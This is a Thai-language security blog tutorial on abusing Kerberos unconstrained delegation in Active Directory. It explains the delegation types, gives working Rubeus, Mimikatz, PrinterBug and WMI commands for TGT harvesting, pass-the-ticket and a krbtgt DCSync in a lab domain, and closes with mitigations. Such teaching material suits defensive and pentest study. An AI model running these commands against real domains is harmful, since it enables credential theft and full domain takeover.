Kerberos Delegation Attacks (Part 1): Overview & Unconstrained Delegation Abuse

Prerequisite

ก่อนจะเริ่มกล่าวถึงบทความนี้ ขออนุญาตแนะนำบทความพื้นฐานของ Active Directory และการทำงานของ Kerberos Protocol เพื่อปูพื้นฐานเกี่ยวกับ TGT/TGS ก่อน โดยแนะนำให้อ่าน blog ตามลิสต์ด้านล่างนี้

Introduction

Kerberos Delegation เป็นกระบวนการหรือการทำงานที่ถูกสร้างขึ้นเพื่อช่วยในการแก้ปัญหาในระดับ Enterprise กล่าวคือ

จะทำยังไงถ้าอยากให้ service สามารถเข้าถึงอีก service ได้โดยสามารถสวมสิทธิ์เป็นผู้ใช้ที่จะต้องไม่ร้องขอ credential อีก?

ซึ่งกระบวนการข้างต้นมักพบในการใช้งานที่ต้องมีการยืนยันตัวตนแบบหลายต่อ (Multi-tier applications) เช่น

• Web servers ต้องการเข้าถึงข้อมูลภายใน database ด้วยสิทธิ์ของผู้ใช้
• Application Servers ต้องการเรียก API หลังบ้านด้วยสิทธิ์ของผู้ใช้

แต่ในมุมมองของด้านความปลอดภัย การทำงานของ Kerberos delegation มีการใช้งาน Trust relationship ที่ให้สิทธิ์ที่ค่อนข้างมาก ซึ่งเป็นจุดที่ผู้ไม่ประสงค์ดีหรือ attacker จะให้ความสนใจเป็นพิเศษ

การตั้งค่า Kerberos delegation ที่ไม่ถูกต้องจะทำให้ attacker สามารถทำ action ต่าง ๆ ได้เช่น

• ปลอมเป็นผู้ใช้งานที่มีการตั้งค่าให้ทำ Delegation
• ทำกระบวนการ lateral movement ไปยังส่วนต่าง ๆ ของระบบ
• เพิ่มสิทธิ์ของตัวเองให้มีสิทธิ์มากกว่าเดิม
• มีโอกาสที่จะทำให้ attacker สามารถ compromise หรือยึดทั้ง domain ของระบบได้

โดยในบทความนี้จะมีเนื้อหาดังนี้

• อธิบายความหมายและการทำงานของ Kerberos Delegation ในรูปแบบที่เข้าใจได้ง่าย
• แยกแยะความแตกต่างของ Kerberos Delegation แต่ละประเภท
• แสดงตัวอย่างการโจมตีของ Unconstrained Delegation

What is Kerberos Delegation?

Kerberos Delegation จะทำให้ service สามารถ reuse การยืนยีนตัวตนของ user เพื่อให้เข้าถึงอีก service นึงได้

ตัวอย่างการทำงานคร่าว ๆ คือ

• user เข้าสู่ระบบ → ได้ key/Kerberos identity(TGT)
• เข้าสู่ระบบเสร็จ user ทำการเข้าถึง service
• Service นั้นก็ต้องการเข้าถึง system อื่น ๆ อีกต่อนึง ซึ่งใช้สิทธิ์ของ user แทนสิทธิ์ของ service

User impersonation คือจุดประสงค์หลักของการทำ Delegation

Unconstrained Delegation by Hackthebox

แต่จุดสำคัญของ Delegation คือ

• service ไม่ได้แค่เข้าถึง system อื่น ๆ แทนเราอย่างเดียว
• service จะสามารถเข้าถึง/ได้รับ Kerberos identity (TGT) ของ user ได้

Why the TGT Matters

Ticket Granting Ticket (TGT) เป็น core หลักของการติดต่อสื่อสารด้วย Kerberos:

• TGT สามารถใช้ในการยืนยันตัวตนของ user ได้
• TGT สามารถใช้ขอ request ในการเข้าถึงกับ service อื่น ๆ

ซึ่งถ้า TGT ของเราหลุดไปหรือมี attacker ได้ไปจะทำให้สามารถถูกสวมสิทธิ์เป็นเจ้าของ TGT ได้โดยที่ไม่จำเป็นต้องรู้ password เลย

Types of Kerberos Delegation

1. Unconstrained Delegation

• สามารถ impersonate user และเข้าถึงได้ทุก service
• มีการเก็บ TGT ของ user ไว้ใน memory
• อันตรายที่สุด

2. Constrained Delegation

• มีการจำกัดการเข้าถึงได้แค่ service ที่เฉพาะเจาะจง
• ยังถือว่ามีการควบคุม service ได้บ้าง

3. Resource-Based Constrained Delegation (RBCD)

• สิทธิ์ในการ Delegate จะย้ายไปที่ Target system (service ที่จะถูกร้องขอ)

โดยในบทความ Part ที่ 1 นี้เราจะเน้นไปที่ Unconstrained Delegation กันก่อนซึ่งเป็น ขั้นตอนที่ไม่ซับซ้อนแต่มีความอันตรายมากที่สุดในบรรดาทั้ง 3 รูปแบบ

Unconstrained Delegation Abuse

Explanation

การทำงานของเครื่อง server ที่มีการตั้งค่าให้ Unconstrained Delegation มีดังนี้

• user เชื่อมต่อเข้ามายัง server และได้รับ TGT มาจาก domain controller
• domain controller เห็นว่ามีการขอสิทธิเข้าถึงเครื่อง server ที่มีการตั้งค่า Unconstrained Delegation จาก user
• domain controller ออก service ticket ที่ทำให้เครื่องของ user ทำการส่งต่อ ticket (TGT) ของ user ไว้ใน service ticket นั้นก่อนจะส่งไปยัง server
• เครื่อง server ทำการ extract service ticket ที่ได้รับและเก็บค่า TGT ไว้ใน memory

วิธีนี้จะทำให้ server สามารถทำการ impersonate ไปเป็น user เพื่อทำการเข้าถึง service ต่าง ๆ ภายใน domain ได้

Why This Is Dangerous

• TGTs จะถูกเก็บอยู่ภายใน memory (LSASS)
• จะมีการสร้าง user ticket จำนวนมากเมื่อเวลาผ่านไป
• attacker ที่สามารถเข้าถึงเครื่อง server จะสามารถ extract TGT เหล่านั้นได้

ความเสี่ยงทั้งหมดนี้ทำให้ attacker สามารถทำการ impersonation เป็น user อื่น ๆ และเข้าถึง service ใดก็ได้ภายใน domain

Too afraid

Attack Flow

Step-by-Step Scenario #1

1. attacker ทำการโจมตีและยึดเครื่อง server ที่มีการตั้งค่าให้มีการทำ Unconstrained Delegation
2. user (ยกตัวอย่างเช่น domain admin) ทำการเชื่อมต่อเข้ามายังเครื่อง server
3. TGT ของ user ถูกฝังมากับ service ticket และถูกเก็บไว้ที่ memory ของเครื่อง server
4. attacker ทำการ extract TGT จาก memory ของเครื่อง server
5. attacker นำ TGT ของ user มาทำ Pass-the-Ticket (inject เข้า session ปัจจุบัน)
6. เมื่อเข้าถึง service ใด ๆ TGT จะถูกใช้ขอ TGS อัตโนมัติ ทำให้ impersonate เป็น user คนนั้นและเข้าถึงได้ ทุก service ที่ user มีสิทธิ์ภายใน domain

Unconstrained Delegation Flow

Step-by-Step Scenario #2 coercion

แทนที่เราจะรอให้ user มาเชื่อมต่อกับ server ที่เรายึดได้ จะมีวิธีไหนที่เราจะบังคับให้ user นั้น ๆ มาเชื่อมต่อเลยได้หรือไม่

Microsoft service/protocols บางตัวมีช่องโหว่ที่อนุญาติให้ user สามารถบังคับ machine เชื่อมต่อไปยังอีก machine ได้ เช่น

Table for coercion protocol

1. บังคับให้ user เชื่อมต่อเข้ามายัง server (PetitPotam/PrinterBug)
2. TGT ของ user ถูกฝังมากับ service ticket และถูกเก็บไว้ที่ memory ของเครื่อง server
3. attacker ทำการ extract TGT จาก memory ของเครื่อง server
4. attacker นำ TGT ของ user มาทำ Pass-the-Ticket (inject เข้า session ปัจจุบัน)
5. เมื่อเข้าถึง service ใด ๆ TGT จะถูกใช้ขอ TGS อัตโนมัติ ทำให้ impersonate เป็น user คนนั้นและเข้าถึงได้ ทุก service ที่ user มีสิทธิ์ภายใน domain

Unconstrained Delegation Coercion Flow

Tools

• Mimikatz: เครื่องมือสำหรับการทำ post-exploitation ในการ extract credential เช่น NTLM hashes และ Kerberos tickets จาก memory
• Rubeus: เครื่องมือที่เน้นการโจมตีและจัดการ Kerberos โดยเฉพาะ สามารถใช้ request/Inject และนำ Kerberos Ticket ไปใช้งานต่อ เช่น Pass-the-Ticket และการโจมตี Kerberos Delegation
• PetitPotam: เป็นเทคนิคบังคับให้เครื่อง Windows เป้าหมาย (เช่น Domain Controller) ทำการเชื่อมออกไปยังเครื่องของผู้โจมตี ซึ่งมักถูกนำไปใช้ต่อยอดใน NTLM Relay หรือ Unconstrained Delegation
• PrinterBug: เป็นเทคนิคบังคับให้เครื่องเป้าหมายทำการเชื่อมต่อออกไปยังเครื่องอื่นผ่าน Print Spooler Service ซึ่งเป็นหนึ่งในเครื่องมือของ krbrelayx โดยเป็นชุดเครื่องมือสำหรับ Relay และ Abuse Kerberos Authentication

Attack Scenario

Machines/Hosts

Machine Table and Role

Scenario 1 :  passive TGT harvest

[DC] Enumerate machines with Unconstrained Delegation

ทำการตรวจหาว่ามีเครื่องใหนบ้างที่มีการเปิดการใช้งาน Unconstrained Delegation อยู่ ซึ่งจากรูปจะเห็นว่ามีเครื่อง DEG1 ที่เปิดใช้งานอยู่

Get-ADComputer -Filter {TrustedForDelegation -eq $true} `
  -Properties TrustedForDelegation, DNSHostName |
  Select-Object Name, DNSHostName, TrustedForDelegation

Command to enumeration for Unconstrained Delegation

[DEG1] Monitor for incoming TGTs with Rubeus

ในที่นี้จะขอสมมติว่าเราสามารถเข้ายึดเครื่อง DEG1 ได้จากนั้นเราจะทำการ monitor ด้วยการใช้ Rubeus monitor mode ที่จะคอยเชค LSASS memory ว่ามีการ cache TGT ใหม่มาหรือไม่

.\Rubeus.exe monitor /interval:5 /nowrap

Using Rubeus monitor mode

[DC] Trigger a privileged user to connect to DEG1

ซึ่งในสถานการณ์จริงเราอาจจะต้องรอจนกว่าจะมี user มา connect ที่เครื่อง DEG1 แต่สำหรับบทความนี้เราจะยกตัวอย่างหากมี domain admin ทำการ powershell remote มาที่เครื่อง DEG1 (TGT ถูก forward ให้เองเพราะ DEG1 ตั้งค่า Unconstrained Delegation ไว้) ซึ่งก็จะทำให้ TGT ของ user domain admin (user:yoda) ถูกฝังไว้ที่ service ticket ที่จะส่งไปยังเครื่อง DEG1

Enter-PSSession -ComputerName DEG1 -Credential VAULT.TEC\yoda

Connect to DEG1 as domain admin user.

[DEG1] Rubeus captures the TGT automatically

กลับมาที่เครื่อง DEG1 จะเห็นว่า rubues ตรวจจับ ticket ใหม่ใน LSASS และ print ออกมาให้เรา ในรูปแบบ base64 ซึ่งเราสามารถเอา ticket นี้ไปใช้ขยายผลต่อได้

Domain admin's TGT is captured

DEG1 Alternative:  dump all tickets from LSASS with Mimikatz

ในกรณีที่เราไม่ได้ทำการใช้ rubeus monitor ในขณะที่มีการเชื่อมต่อเข้ามาจาก user เราสามารถใช้เครื่องมือในการ dump kerberos tickets จาก LSASS ได้ ตัวอย่างด้านล่างจะใช้ Mimikatz

# Launch mimikatz as SYSTEM
.\mimikatz.exe

# Enable debug privilege
mimikatz # privilege::debug

# Export all tickets from LSASS to .kirbi files
mimikatz # sekurlsa::tickets /export

# Or list tickets in memory without export
mimikatz # kerberos::list /export

Dumping kerberos ticket on DEG1 using mimikatz

DEG1 Pass the Ticket :  inject TGT into the current session

โดยหลังจากที่ได้ TGT ของ domain admin หรือ user ที่ต้องการแล้ว ก็จะสามารถ impersonate เป็น user นั้นใด้ จากตัวอย่างนี้เราจะใช้ Rubeus ในการทำกระบวรการที่เรียกว่า pass-the-ticket

# Inject from base64 (copied from monitor output)
C:\Tools\Rubeus.exe ptt /ticket:<base64_ticket_here>

Pass the ticket using domain admin ticket

DEG1 Verify impersonation :  access Santa-Monica as domain admin

เมื่อทำการตรวจสอบด้วย command klist จะเห็นว่าเรามี ticket ของ user yoda (user ที่ทำการ Enter-PSSession) แล้ว

Using klist command to list the current ticket

ทั้งยังสามารถทำอะไรก็ตามที่ user yoda ทำใด้ เช่นเขียนไฟล์บน Domain Controller (yoda มีสิทธิ์เป็น domain admin)

Invoke-WmiMethod -ComputerName SANTA-MONICA -Class Win32_Process  -Name Create -ArgumentList "cmd.exe /c whoami > C:\pwned.txt"

Write a file to domain controller using domain admin user

Result of the write file command

There is another

Scenario 2:  Active Coercion (MS-RPRN / Printer Bug)

DEG1 Start Rubeus Monitor on DEG1

ทำการใช้งาน monitor mode เพื่อดักรอ TGT ของ user ที่เครื่อง DEG1 เช่นเดิม โดยครั้งนี้จะทำการ filter ไว้แค่เพียงชื่อเครื่อง SANTA-MONICA ซึ่งเป็นเครื่อง Domain Controller ที่เราจะทำการบังคับให้มีการเชื่อมต่อ

# Run as Administrator on DEG1
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:SANTA-MONICA$

Using Rubeus monitor mod

DC Verify Print Spooler is Running

จากนั้นเราจะทำการตรวจสอบ service MS-RPRN ที่เครื่องเป้าหมาย (SANTA-MONICA) ที่เป็น domain controller ว่ามีการเปิดใช้งานให้เรา exploit ได้ไหม ซึ่งจากผลลัพธ์ก็พบว่าที่เครื่อง domain controller มีการเปิดใช้งาน MS-RPRN อยู่

impacket-rpcdump vault.tec/yoda:<password>@10.40.0.2 | grep -A 2 "MS-RPRN\|spoolss"

Domain controller is enable MS RPRN protocol

Kali Trigger the Coercion from Kali

จากนั้นใช้งานเครื่องมือ PrinterBug จาก krbrelayx เพื่อทำการเรียกให้ RpcRemoteFindFirstPrinterChangeNotification บนเครื่อง domain controller เพื่อบังคับให้มีการเชื่อมต่อไปที่เครื่อง DEG1

# Syntax: printerbug DOMAIN/USER:PASS@TARGET LISTENER_IP
printerbug vault.tec/yoda:<password>@santa-monica.vault.tec deg1.vault.tec

Using PrinterBug to force connection of DC to DEG1

DEG1 Rubeus Captures Targeted TGT

หลังจากที่เราทำการใช้ PrinterBug ในการบังคับให้มีการทำเชื่อมต่อเกิดขึ้น จะเห็นว่าที่เครื่อง DEG1 ที่เรา monitor อยู่พบ TGT ของเครื่อง domain controller (SANTA-MONICA)

Domain controler’s TGT is captured

หลังจากได้ TGT มาเราก็สามารถ impersonate (pass-the-ticket) เป็นเครื่อง DC (SANTA-MONICA) ได้

Pass the ticket using domain controller ticket

Using klist command to list the current ticket

DEG1 Post-Exploitation

# On DEG1 — inject the ticket first
C:\Tools\Rubeus.exe ptt /ticket:<base64_blob>

# Verify ticket loaded
klist

# Then run mimikatz dcsync directly
.\mimikatz.exe
privilege::debug
lsadump::dcsync /domain:vault.tec /user:krbtgt

หลังจาก pass-the-ticket เสร็จก็ทำ dcsync ได้เลยเนื่องจากเราได้สิทธิ์ machine ของ domain controller มาแล้วนั้นเอง จะเห็นว่าขั้นตอนการทำการโจมตีนั้นเหมือนกับ Scenario ที่ 1 เพียงแค่ใน Scenario ที่ 2 นี้เราทำการ exploit service อื่นเพื่อทำการบังคับให้มีการเชื่อมต่อนั้นเอง

Using mimikatz

Using mimikatz to DCSync #1

Using mimikatz to DCSync #2

Bob the builder

Mitigation

1 ยกเลิกการใช้งาน Unconstrained Delegation

• เปลี่ยนไปใช้กระบวนการ Delegation รูปแบบอื่นซึ่งจะไม่ได้มีการให้สิทธิ์ในการ impersonate เป็น user คนนั้น ๆ และเข้าถึง service ไหนก็ได้
  • Constrained Delegation
  • Resource based Constrained Delegation

2 Protect Sensitive Accounts

• ทำการเปิดการใช้งาน “Account is sensitive and cannot be delegated” กับ sensitive accounts เพื่อป้องกันไม่ให้ account ที่มีความสำคัญถูก forward TGT ไปได้

3 Restrict Admin Logins

• หลีกเลี่ยงไม่ให้ user ระดับ Admin หรือ user ที่มีสิทธิ์สูงในการเข้าถึง:
  • Application servers
  • Lower-trust systems

ถ้าไม่มี TGT ของ admin = no attack path

4 Monitor Authentication Behavior

คอยทำการตรวจสอบกระบวนการยืนยันตัวตนที่ผิดปกติเช่น:

• Privileged users ทำการเชื่อมต่อไปยัง hosts หรือ machine ที่ปกติไม่มีการเข้าถึง
• มีการใช้งาน Kerberos ticket ที่ผิดปกติ

5 Audit Delegation Settings

• คอยหมั่นทำการตรวจสอบการตั้งค่าว่ามี service ใดบ้างทำการตั้งค่าให้ทำการ Unconstrained Delegation ได้บ้าง และมีความเสี่ยงเพียงใด จะช่วยให้สามารถประเมินความเสี่ยงภายในองค์กรใด้

What’s Next?

จากที่กล่าวไปในบทความนี้จะเห็นได้ว่า Unconstrained Delegation นั้นมีความอันตรายมาก แต่หากกระบวนการทำ delegation นั้นถูกจำกัดหรือเปลี่ยนไปใช้ Constrained Delegation แทน attacker จะยังสามารถทำการโจมตีได้ไหม?

ภายในเนื้อหา Part ที่ 2 เราจะลงละเอียดกันในเรื่องของ:

Constrained Delegation Abuse และวิธีการที่ attacker ยังคงสามารถทำการ bypass ฟังก์ชันนี้ได้

References:

• JumpCloud — Kerberos Unconstrained Delegation
• Petri — Understanding Kerberos Delegation
• Semperis — Unconstrained Delegation Explained
• Sentry Security — Domain Takeover via Delegation
• Qazeer Notes — Kerberos Delegation Overview
• Hack The Box8 Powerful Kerberos attacks (that analysts hate)